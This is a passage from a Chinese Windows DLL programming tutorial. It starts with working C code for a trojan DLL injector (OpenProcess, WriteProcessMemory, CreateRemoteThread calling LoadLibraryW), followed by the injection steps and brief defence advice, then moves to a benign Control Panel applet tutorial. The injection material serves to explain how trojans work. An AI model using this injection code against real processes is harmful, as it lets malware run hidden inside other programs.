//将DLL文件全路径的ANSI码转换成UNICODE码 iReturnCode =MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName,MAX_PATH); CheckError(iReturnCode,0,"MultByteToWideChar");
//打开远程进程 hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD| //允许创建线程 PROCESS_VM_OPERATION| //允许VM操作 PROCESS_VM_WRITE, //允许VM写 FALSE,dwRemoteProcessId); CheckError((int)hRemoteProcess,NULL, "Remote ProcessnotExistorAccessDenied!");
//计算DLL路径名需要的内存空间 int cb=(1+lstrlenW(pszLibFileName)) *sizeof(WCHAR); pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb, MEM_COMMIT,PAGE_READWRITE); CheckError((int)pszLibFileRemote,NULL,"VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间 iReturnCode =WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL); CheckError(iReturnCode,false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW"); CheckError((int)pfnStartAddr,NULL,"GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件 hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr, pszLibFileRemote,0,NULL); CheckError((int)hRemoteThread,NULL,"CreateRemoteThread");
//等待远程线程退出 WaitForSingleObject(hRemoteThread,INFINITE); //清场处理 if (pszLibFileRemote!=NULL) { VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE); } if (hRemoteThread !=NULL) { CloseHandle(hRemoteThread); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } }
//错误处理函数CheckError() void CheckError(int iReturnCode, int iErrorCode, char*pErrorMsg) { if(iReturnCode==iErrorCode) { printf("%sError:%d\n\n",pErrorMsg,GetLastError()); //清场处理 if (pszLibFileRemote!=NULL) { VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE); } if (hRemoteThread !=NULL) { CloseHandle(hRemoteThread); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); }
exit(0); } } |
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程IDdwRemoteProcessId;
(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;
(3)利用WindowsAPIOpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(4)利用WindowsAPIVirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用WindowsAPIWriteProcessMemory函数将完整路径写入该存储空间;
(5)利用WindowsAPIGetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
(6)利用WindowsAPICreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;
(7)清理现场。
6.3 DLL木马的防治
从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。
对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。“道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,它们看起来也不再“莫名其妙”。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。
7、Windows控制面板编程
7.1 控制面板编程概述
打开Windows的控制面板(“Control Panel”)会看到类似的图像:
图31Windows的控面板
双击其中的一个图标,会显示对话框,让用户来完成相应的软硬件设置工作。这就是我们看到的控制面板。
经过挖掘,发现并不是exe文件(Windows Vista下支持exe的控制面板应用程序,并且微软建议做成exe文件),而是有着cpl后缀名的文件,在windows->system32下可以找到这样的文件。如果借助工具,Dependency Walker for Win32(x86) 或dumpbin等就可以看到该文件导出了一些函数。
图32 查看wuaucpl.cpl
多观察几个这样的文件,发现导出的函数虽有差异,但其中都有CPLApplet函数被导出。这些特征与DLL的特征吻合。去MSDN上查阅CPLApplet函数的说明证明我们的猜测是正确的。可以说控制面板应该程序就是以CPL为后缀名并且一定要导出CPLApplet函数的dll文件。
对于具体的描述可以参考:http://msdn2.microsoft.com/en-us/library/bb776838(VS.85).aspx
明确几个概念:
(1)控制面板管理程序:用于管理控制面板的程序,在桌面windows版本是CONTROL.EXE,在windows CE版本是CTLPNL.EXE,它们负责管理控制面板里的控制面板条目。简单的说,我们打开控制面板时,这些管理程序就在运行了。只不过我们看到的是挂上了Shell外观而已(注:这是我的猜测,还没有找到依据)。
(2)控制面板条目(Control Panel Item):在控制面板里看到的每个图标所对应的就是一个控制面板条目。
(3)控制面板应用程序(Control Panel Application):就是最终看到的CPL文件,一个控制面板应用程序可以实现几个控制面板条目。
7.2 CPLApplet函数
编写控制面板应用程序,就是编写dll文件,在该文件中实现控制所需要的功能。这就涉及到一个不得不说的函数,没有它就无法完成控制面板程序的实现。函数CPLApplet是控制面板应用程序(Control Panel application)的入口点,它被控制面板管理程序(control.exe 或Ctlpnl.exe)自动调用,它是个回调函数(Callback),注意:CPL文件一定要把函数CPLApplet导出,这样控制面板才能找到程序的入口点。
当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPLApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPLApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPLApplet函数,它负责所有的控制面板应用程序。
CPLApplet函数的声明为:
LONG CPLApplet(
HWND hwndCPl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
);
参数说明:
l hwndCPl:控制面板管理程序或称为控制面板的窗口句柄,即为control.exe的窗口句柄。如果控制面板应用程序或其它窗口需要传递父窗口句柄,可以使用该参数。
l Msg:发送到控制面板应用程序的消息,由控制面板管理程序发送。
l lParam1:消息参数
l lParam2:消息参数
l 函数的返回值依据消息的不同而不同。
l 应用程序要使用该函数需要包含头文件:cpl.h
CPL_INQUIRE:lParam1是以0为起点的整数,它是该CPL文件中所包含的控制面板条目的索引,lParam2参数要求一个CPLINFO结构的指针,用来填充所需的图标、字符串等信息。如果成功处理了该消息,应该返回0。
CPL_NEWINQUIRE:该消息与CPL_INQUIRE都是CPL_GETCOUNT之后被发送的消息,但并没有明确的先后顺序。所以程序里不要依赖它们的顺序来处理不同的事务。
7.2 编写控制面板应用程序
7.2.1 编写步骤
编写控制面板应用程序的步骤:
1 选择适当的开发工具(如:Visual Studio 2008),建立DLL项目;
2 导出函数CPLApplet;
3 在函数CPLApplet的消息处理过程中完成你需要的工作;
7.2.2 一个简单例子
开发工具:MicrosoftVisual Studio 2008
操作系统:Windows 7
步骤:
1 、新建Win32工程,工程名为CPLTest;
图32 新建Win32项目工程
2 、应用程序类型选择DLL(CPL文件本质上是DLL);
图33 建立DLL程序
3 、在项目中新增或导入一个图标文件和两个字符串资源,用于在控制面板管理程序中显示图标和提示;
在”资源视图” 窗口上的”CPLTest”工程上键选择添加->资源,然后选择Icon和String Table
以下为resource.h 的部分内容
#define IDI_ICON1 101 //图标标识
#define IDS_STRING102 102 //字符串tom
#define IDS_STRING103 103//字符串cui
4、 在dllmain.cpp文件中增加函数的导出CPLApplet;
extern "C" __declspec(dllexport) LONG APIENTRY CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1,LPARAM lParam2);
原则上可以按照上面的方式导出就可以了,但是请注意CPlApplet的调用方式是APIENTRY,通过这样方式导出的函数会被改名,通过多次实验也不可行。你可能会上去掉APIENTRY,但这样编出来的CPL文件无法运行,查阅了相关文档,在Windows Mobile Version 5.0 SDK的文档里指明了该函数的调用方式,windowsCE 5.0 和Windows Shell and Controls没有指明这种调用方式。所以,只有加上APIENTRY。
现在的问题是如何导出该函数?看来要通过DEF文件了,如果你的项目里没有产生DEF文件,可以建立一个.def文件,输入如下内容。
; CPLTest.def : Declares the module parameters for the DLL. LIBRARY "CPLTest" EXPORTS ; Explicit exports can go here CPlApplet |
5、 在dllmain.cpp文件中增加函数CPLApplet的消息处理函数来完成指定的功能;
在dllmain.cpp中包含以上两个头文件
#include "resource.h" //资源标识
#include <Cpl.h> //CPLApplet函数要求的头文件
我的例子完成显示一个MessageBox的功能。dllmain.cpp的完整代码:
// dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" #include "resource.h" #include <Cpl.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
LONG APIENTRY CPlApplet(HWND hwndCPL, UINT uMsg, LPARAM lParam1, LPARAM lParam2) { int i; LPCPLINFO lpCPlInfo;
i = (int) lParam1;
switch (uMsg) { case CPL_INIT: // first message, sent once return TRUE;
case CPL_GETCOUNT: // second message, sent once return 1; break;
case CPL_INQUIRE: // third message, sent once per application lpCPlInfo = (LPCPLINFO) lParam2; lpCPlInfo->lData = 0; lpCPlInfo->idIcon = IDI_ICON1; lpCPlInfo->idName = IDS_STRING102; lpCPlInfo->idInfo = IDS_STRING103; break;
case CPL_DBLCLK: // application icon double-clicked MessageBox(NULL, TEXT("Tom66"), TEXT("Cuei666"), MB_OK); break;
case CPL_STOP: // sent once per application before CPL_EXIT break;
case CPL_EXIT: // sent once before FreeLibrary is called break;
default: break;
} return 0; } |
6、编译链接产生文件
属性->配置属性->连接器->输出文件修改输出文件的后缀名为.cpl,也可以不修改,到最后把dll改为cpl也可以的。
图34 修改文件后缀名为.cpl
7.2.3程序的安装与运行
(1)将cpl文件拷贝到Windows(Windows CE)或Windows/system32(桌面版本Windows),打开控制面板就可以看到该CPL文件所包含的控制面板条目,图标和文件就是你在CPLApplet里指定的。
图35 将.cpl文件放在SysWOW64下与控制面板的显示
(2)双击CTLTest.cpl文件,选择用Windows Control Panel运行即可。
图36 双击运行.cpl文件
(3)在windows的注册表[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ControlPanel/Cpls] 下新建字符串,并指定cpl所在的完整路径,然后就可以在控制面板里看到新增加的控制面板条目。通过写注册表的方式,是一些应用软件惯用的方式,安装时可以通过InstallShield等安装制作工具将其添加到注册表,卸载时,删除注册表中相关的项。
图35 修改注册表
(4)通过拷贝的方式,直接删除相应的CPL文件就可以了。